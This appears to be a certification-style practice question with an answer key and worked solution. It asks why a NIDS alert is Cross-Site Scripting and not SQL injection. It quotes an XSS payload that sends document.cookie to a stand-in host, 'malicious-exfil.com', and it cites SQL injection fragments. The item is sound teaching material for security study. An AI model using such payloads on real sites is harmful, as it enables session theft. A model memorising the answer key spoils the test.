Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

A security analyst reviews a high-severity alert generated by a Network Intrusion Detection System (NIDS) monitoring enterprise perimeter web traffic. The SIEM correlation rule triggered on the following HTTP payload excerpt:

`GET /products/search?user_input=<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script> HTTP/1.1`

The analyst logs the incident as a successful SQL injection attack attempting to query sensitive database tables. Which of the following best explains why the analyst's interpretation of this network alert is incorrect?

  1. The payload represents a Cross-Site Scripting (XSS) attack vector attempting client-side script execution to steal cookies, rather than a database query manipulation attack.Answer
  2. B
    The alert indicates database manipulation, but the analyst misclassified the NIDS sensor as a corrective control instead of a detective control.
  3. C
    The network traffic indicates a host memory vulnerability that requires endpoint buffer overflow mitigation rather than network alert analysis.
  4. D
    The logged packet capture was generated by an internal deception host honeypot designed to block inline network connections automatically.

Answer

The analyst's interpretation is incorrect because the payload contains client-side JavaScript (`<script>` tags exfiltrating `document.cookie`), which indicates Cross-Site Scripting (XSS), not SQL injection.
The correct answer identifies that the payload in the NIDS alert uses JavaScript script tags (`<script>`) and browser object references (`document.cookie`) to exfiltrate session data to an external site. This is the hallmark signature of a Cross-Site Scripting (XSS) attack. SQL injection attacks involve inserting SQL statements (such as `SELECT`, `UNION`, or `DROP`) to manipulate database backend processing.

Step-by-Step Solution

1
Examine the payload signature from the NIDS network event log.
The parameter value contains `<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script>`.
Analyzing the raw string payload reveals the functional syntax of the attempted exploit.
2
Differentiate between web application attack signatures.
JavaScript execution syntax (`<script>`) targeted at browser DOM objects (`document.cookie`) corresponds to Cross-Site Scripting (XSS). SQL injection payloads utilize database query syntax such as `' OR '1'='1` or `UNION SELECT`.
Accurate alert classification requires matching observed payload syntax to the corresponding threat category.
3
Select the option that correctly identifies the misinterpretation.
The option stating that the payload represents Cross-Site Scripting rather than SQL injection accurately corrects the analyst's diagnosis.
This directly addresses the root cause of the misclassified network security monitoring alert.

Key Concept

Web Application Attack Log Interpretation in Network Security Monitoring
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic